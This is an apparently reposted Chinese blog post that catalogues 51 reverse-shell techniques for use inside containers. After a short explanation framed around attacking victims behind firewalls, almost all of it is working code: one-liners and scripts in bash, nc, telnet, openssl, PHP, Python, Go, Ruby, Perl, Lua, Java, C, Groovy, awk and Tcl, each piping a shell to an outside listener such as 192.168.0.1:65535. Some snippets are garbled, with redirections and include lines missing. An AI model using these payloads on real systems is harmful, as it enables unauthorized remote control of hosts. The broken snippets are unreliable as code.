當前位置：首頁 > 运维知识 > windows >内容正文

windows

windows 反弹shell_容器内反弹shell的51种姿势

發布時間：2024/9/27 windows 31 豆豆

生活随笔收集整理的這篇文章主要介紹了 windows 反弹shell_容器内反弹shell的51种姿势小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

什么是反彈shell？

反彈shell(reverse shell)，就是控制端監聽在某TCP/UDP端口，被控端發起請求到該端口，并將其命令行的輸入輸出轉到控制端。reverse shell與telnet，ssh等標準shell對應，本質上是網絡概念的客戶端與服務端的角色反轉。

為什么要反彈shell？

通常用于被控端因防火墻受限、權限不足、端口被占用等情形。

舉例：假設我們攻擊了一臺機器，打開了該機器的一個端口，攻擊者在自己的機器去連接目標機器(目標ip：目標機器端口)，這是比較常規的形式，我們叫做正向連接。遠程桌面、web服務、ssh、telnet等等都是正向連接。那么什么情況下正向連接不能用了呢？

有如下情況：

1.某客戶機中了你的網馬，但是它在局域網內，你直接連接不了。

2.目標機器的ip動態改變，你不能持續控制。

3.由于防火墻等限制，對方機器只能發送請求，不能接收請求。

4.對于病毒，木馬，受害者什么時候能中招，對方的網絡環境是什么樣的，什么時候開關機等情況都是未知的，所以建立一個服務端讓惡意程序主動連接，才是上策。

那么反彈就很好理解了，攻擊者指定服務端，受害者主機主動連接攻擊者的服務端程序，就叫反彈連接。

原生 (以bash為例)

#!/bin/bash
bash -c '...' 2> /dev/null

tcp

#!/bin/bash
bash -i >& /dev/tcp/192.168.0.1/65535 0>&1

#!/bin/bash
# 使用域名
bash -i >& /dev/tcp/host.domain/65535 0>&1

#!/bin/bash
0exec 196<>/dev/tcp/192.168.0.1/65535;
bash &196 2>&196

udp

#!/bin/bash
bash -i >& /dev/udp/192.168.0.1/65535 0>&1

#!/bin/bash
# 使用域名
bash -i >& /dev/udp/host.domain/65535 0>&1

#!/bin/bash
0exec 196<>/dev/udp/192.168.0.1/65535;
bash &196 2>&196

工具類

NC

#!/bin/bash
nc -e /bin/bash 192.168.0.1 65535

#!/bin/bash
/bin/bash | nc 192.168.0.1 65535

#!/bin/bash
nc 192.168.0.1 65535 |/bin/bash

10.

#!/bin/bash
rm -f /tmp/p;
mknod /tmp/p p && nc 192.168.0.1 65535 0/tmp/

11.

#!/bin/bash
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.1 65535 >/tmp/f

NCat

12.

#!/bin/bash
ncat 192.168.1.215 3000 -e /bin/bash

Telnet

13.

#!/bin/bash
telnet 192.168.0.1 65534 | /bin/bash | telnet 192.168.0.1 65535

14.

#!/bin/bash
mknod backpipe p && telnet 192.168.0.1 65535 0backpipe

OpenSSL

15.

#!/bin/bash
mkfifo /tmp/s;
/bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.1:65535 > /tmp/s; rm /tmp/s

cryptcat

16.

#!/bin/bash
cryptcat 192.168.0.1 65534 -k sec|cmd.exe|cryptcat 192.168.0.1 65535 -k sec

程序類

PHP

php -r "..."

17.

<?php
error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = '192.168.0.1';
$port = '65535';
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname() if($os == 'WIN') {
$env = array('path' => 'c:\\windows\\system32');
} else {
$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}if(function_exists('fsockopen')) {
$sock = fsockopen($ipaddr,$port);
fwrite($sock,$msg);while ($cmd = fread($sock,1024)) {if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}if (trim(strtolower($cmd)) == 'exit') {break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
fwrite($sock,$msg);
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
fwrite($sock,$msg);
fclose($pipes[2]);
proc_close($process);
}
}
}
fclose($sock);
} else {
$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($sock,$ipaddr,$port);
socket_write($sock,$msg);
fwrite($sock,$msg);while ($cmd = socket_read($sock,1024)) {if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}if (trim(strtolower($cmd)) == 'exit') {break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[2]);
proc_close($process);
}
}
}
socket_close($sock);
}?>

18.

#!/bin/bash
php -r "error_reporting(E_ERROR);ignore_user_abort(true);ini_set('max_execution_time',0);\$os=substr(PHP_OS,0,3);\$ipaddr='192.168.0.1';\$port='65535';\$descriptorspec=array(0=>array(\"pipe\",\"r\"),1=>array(\"pipe\",\"w\"),2=>array(\"pipe\",\"w\"));\$cwd=getcwd();\$msg=php_uname()if(\$os=='WIN'){\$env=array('path'=>'c:\\windows\\system32');}else{\$env=array('path'=>'/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');}if(function_exists('fsockopen')){\$sock=fsockopen(\$ipaddr,\$port);fwrite(\$sock,\$msg);while(\$cmd=fread(\$sock,1024)){if(substr(\$cmd,0,3)=='cd'){\$cwd=trim(substr(\$cmd,3,-1));chdir(\$cwd);\$cwd=getcwd();}if(trim(strtolower(\$cmd))=='exit'){break;}else{\$process=proc_open(\$cmd,\$descriptorspec,\$pipes,\$cwd,\$env);if(is_resource(\$process)){fwrite(\$pipes[0],\$cmd);fclose(\$pipes[0]);\$msg=stream_get_contents(\$pipes[1]);fwrite(\$sock,\$msg);fclose(\$pipes[1]);\$msg=stream_get_contents(\$pipes[2]);fwrite(\$sock,\$msg);fclose(\$pipes[2]);proc_close(\$process);}}}fclose(\$sock);}else{\$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_connect(\$sock,\$ipaddr,\$port);socket_write(\$sock,\$msg);fwrite(\$sock,\$msg);while(\$cmd=socket_read(\$sock,1024)){if(substr(\$cmd,0,3)=='cd'){\$cwd=trim(substr(\$cmd,3,-1));chdir(\$cwd);\$cwd=getcwd();}if(trim(strtolower(\$cmd))=='exit'){break;}else{\$process=proc_open(\$cmd,\$descriptorspec,\$pipes,\$cwd,\$env);if(is_resource(\$process)){fwrite(\$pipes[0],\$cmd);fclose(\$pipes[0]);\$msg=stream_get_contents(\$pipes[1]);socket_write(\$sock,\$msg,strlen(\$msg));fclose(\$pipes[1]);\$msg=stream_get_contents(\$pipes[2]);socket_write(\$sock,\$msg,strlen(\$msg));fclose(\$pipes[2]);proc_close(\$process);}}}socket_close(\$sock);}"

19.

<?php
$sock=fsockopen("192.168.0.1"，65535);
exec("/bin/bash -i &3 2>&3");?>

20.

#!/bin/bash
php -r "\$sock=fsockopen(\"192.168.0.1\"，65535);exec(\"/bin/bash -i &3 2>&3\");"

21.

<?php
exec("/bin/bash -i >& /dev/tcp/192.168.0.1/65535");?>

22.

#!/bin/bash
php -r "exec(\"/bin/bash -i >& /dev/tcp/192.168.0.1/65535\");"

Python

#!bin/bash
python -c "..."

23.

#!/usr/bin/python
import socket,subprocess,os
s=socket.socket()
s.connect(("192.168.0.1",65535))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

24.

#!/bin/bash
python -c "import socket,subprocess,os;s=socket.socket();s.connect((\"192.168.0.1\",65535));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"])"

25.

#!usr/bin/python
import sys,socket,os,pty;
s=socket.socket()
s.connect(("192.168.0.1",65535))
for fd in (0,1,2):
os.dup2(s.fileno(),fd)
pty.spawn("/bin/bash")

26.

#!/bin/bash
python -c "import sys,socket,os,pty;s=socket.socket();s.connect((\"192.168.0.1\",65535));for fd in (0,1,2):os.dup2(s.fileno(),fd);pty.spawn(\"/bin/bash\");"

27.

#!/usr/bin/python
import socket, subprocess
s = socket.socket()
s.connect(('192.168.0.1',65535))
while 1:
proc = subprocess.Popen(s.recv(1024),\
shell=True,\
stdout=subprocess.PIPE,\
stderr=subprocess.PIPE,\
stdin=subprocess.PIPE\
)
s.send(proc.stdout.read()+proc.stderr.read())

28.

#!/usr/bin/python
import os
os.system('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')

GoLang

echo '...' > /tmp/t.go

29.

package main;
import"os/exec";
import"net";
func main(){
c,_:=net.Dial("tcp","192.168.0.1:65535");
cmd:=exec.Command("/bin/bash");
cmd.Stdin=c;
cmd.Stdout=c;
cmd.Stderr=c;
cmd.Run()}

30.

package mainimport("log""os/exec"
)
func main() {
cmdline := "exec 5<>/dev/tcp/192.168.0.1/65535;cat &5 >&5; done"
cmd := exec.Command("/bin/bash", "-c", cmdline)
bytes, err := cmd.Output()
if err != nil {
log.Println(err)
}
resp := string(bytes)
log.Println(resp)
}

31.

package main
import (
os/exec
)
func main(){
cmdline := "bash -i >& /dev/tcp/192.168.0.1/65535 0>&1"
cmd := exec.Command("/bin/bash", "-c", cmdline)

32.

#!/bin/bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.215:3000");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Ruby

ruby -rsocket -e '...'

33.

#!/usr/bin/ruby
require 'socket'
require 'open3'
#Set the Remote Host IP
RHOST = "192.168.0.1"
#Set the Remote Host Port
PORT = "65535"
#Tries to connect every 20 sec until it connects.
begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
sock.puts "We are connected!"
rescue
sleep 20
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end

34.

#!/usr/bin/ruby
exit if fork;c=TCPSocket.new("192.168.0.1","65535");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end

35.

#!/usr/bin/ruby
exec 'bash -i >& /dev/tcp/192.168.0.1/65535 0>&1'

36.

#!/bin/bash
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.215","3000");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Perl

#!/bin/bash
perl -e '...'
perl -MIO -e '...'

37.

#!/usr/bin/perl
use Socket;
$i="192.168.0.1";
$p=65535;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/bash -i");
};

38.

#!/usr/bin/perl
$p=fork;
exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"192.168.0.1:65535");
STDIN->fdopen($c,r);
$~->fdopen($c,w);
system$_ while<>;

39.

#！/usr/bin/perl
exec('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')

40.

#!/bin/bash
perl -e 'use Socket;$i="192.168.1.215";$p=3000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

41.

#!/bin/bash
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.215:3000");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Lua

lua -e '...'

42.

#!/usr/bin/lua
local host, port = "192.168.0.1", 65535
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
tcp:connect(host, port);
while true
do local cmd, status, partial = tcp:receive()
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
if status == "closed"
then break
end
end
tcp:close()

43.

#!/usr/bin/lua
local socket=require('socket');
require('os');
t=socket.tcp();
t:connect('192.168.0.1','65535');
os.execute('/bin/bash -i &3 2>&3')

44.

local io = require('io')
io.popen('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')

45.

#!/bin/bash
lua -e "local socket=require('socket');require('os');t=socket.tcp();t:connect('192.168.1.215','3000');os.execute('/bin/sh -i &3 2>&3');"

Java

echo '...' > /tmp/t.java

46.

public classRevs{
/**
* @param args
* @throws Exception
*/
publicstaticvoidmain(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.1/65535;cat &5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

C

echo '...' > /tmp/t.c

47.

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
voidusage();
char shell[]="/bin/bash";
char message[]="hacker welcome\n";
int sock;
intmain(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!n"); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(65535);
server.sin_addr.s_addr = inet_addr("192.168.0.1");

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/bash",(char *)0);
close(sock);
return 1;
}
voidusage(char *prog[]) {
printf("Usage: %s n", prog);
exit(-1);
}

48.

#include
intmain(int argc, char *argv[]){
system(“bash -i >& /dev/tcp/192.168.0.1/65535 0>&1”);
return 0;
}

Groovy

echo '...' > /tmp/t

49.

classReverseShell{
static void main(String[] args) {
String host="192.168.0.1";
int port=65535;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){}
};
p.destroy();
s.close();
}
}

awk/gawk

#!/bin/bash
awk "..."
#gawk "..."

50.

BEGIN{
s="/inet/tcp/0/192.168.0.1/65535";
while(1){
do{
s|&getline c;
if(c){
while((c|&getline)>0)
print $0|&s;
close(c)
}
}
while(c!="exit");
close(s)
}
}

TCL腳本

echo '...' |tclsh

51.

set s [socket 192.168.0.1 65535];
while 42 {
puts -nonewline $s "shell>";
flush $s;
gets $s c;
set e "exec $c";
if {![catch {set r [eval $e]} err]} {
puts $s $r
};
flush $s;
};
close $s;

總結

以上是生活随笔為你收集整理的windows 反弹shell_容器内反弹shell的51种姿势的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。

上一篇： php脚本启动,有没有办法启动一个PHP
下一篇：直接内存与元空间_深入浅出 JVM 内存